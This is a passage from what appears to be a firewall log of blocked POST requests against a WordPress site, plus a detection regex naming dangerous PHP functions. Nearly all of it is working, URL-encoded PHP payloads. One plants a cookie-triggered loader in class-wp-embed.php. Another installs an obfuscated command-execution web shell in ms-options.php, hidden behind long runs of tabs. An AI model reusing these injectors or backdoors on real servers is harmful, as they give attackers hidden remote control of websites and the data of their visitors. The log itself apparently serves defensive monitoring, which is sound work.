OST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4313\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:45:41","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-length:4290\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHUVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nPr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:45","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ad:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:5303\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDJDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nAd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:49","77.65.47.245","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20